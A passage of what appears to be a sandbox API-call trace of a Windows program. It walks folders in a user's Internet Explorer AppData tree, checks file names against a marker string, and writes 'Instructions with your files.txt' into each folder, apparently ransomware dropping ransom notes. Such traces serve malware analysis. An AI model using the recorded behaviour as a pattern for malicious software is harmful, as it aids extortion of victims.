[0131.348] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\.") returned 112
[0131.349] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\..") returned 113
[0131.349] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc4b320, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 122
[0131.349] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e02c640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e02c640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk") returned 128
[0131.349] StrStrIW (lpFirst="Google Chrome.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc251c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc251c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer (2).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk") returned 136
[0131.349] StrStrIW (lpFirst="Internet Explorer (2).lnk", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned 132
[0131.349] StrStrIW (lpFirst="Internet Explorer.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0de7e00, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 130
[0131.349] StrStrIW (lpFirst="Mozilla Firefox.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer (2).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk") returned 135
[0131.349] StrStrIW (lpFirst="Windows Explorer (2).lnk", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned 131
[0131.349] StrStrIW (lpFirst="Windows Explorer.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player (2).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk") returned 139
[0131.349] StrStrIW (lpFirst="Windows Media Player (2).lnk", lpSrch="SDfghjkl") returned 0x0
[0131.349] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1
[0131.349] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk") returned 135
[0131.349] StrStrIW (lpFirst="Windows Media Player.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.350] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0
[0131.350] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Instructions with your files.txt") returned 143
[0131.350] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.350] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.351] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.351] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.351] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.352] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.352] CloseHandle (hObject=0x124) returned 1
[0131.352] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.352] GetProcessHeap () returned 0x810000
[0131.352] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.352] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 0
[0131.352] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\Instructions with your files.txt") returned 135
[0131.352] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.354] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.355] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.355] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.355] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.355] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.355] CloseHandle (hObject=0x120) returned 1
[0131.356] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.356] GetProcessHeap () returned 0x810000
[0131.356] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.356] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1
[0131.356] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 110
[0131.356] StrStrIW (lpFirst="Window Switcher.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.356] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0
[0131.356] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Instructions with your files.txt") returned 123
[0131.356] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.356] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.357] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.357] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.357] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.357] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.357] CloseHandle (hObject=0x11c) returned 1
[0131.358] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.358] GetProcessHeap () returned 0x810000
[0131.358] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.358] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1
[0131.358] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned 86
[0131.358] GetProcessHeap () returned 0x810000
[0131.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.358] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*") returned 88
[0131.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.359] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\.") returned 88
[0131.359] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.359] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\..") returned 89
[0131.359] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
[0131.359] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned 90
[0131.359] GetProcessHeap () returned 0x810000
[0131.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.359] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*") returned 92
[0131.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.359] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\.") returned 92
[0131.359] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.359] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.359] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\..") returned 93
[0131.359] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
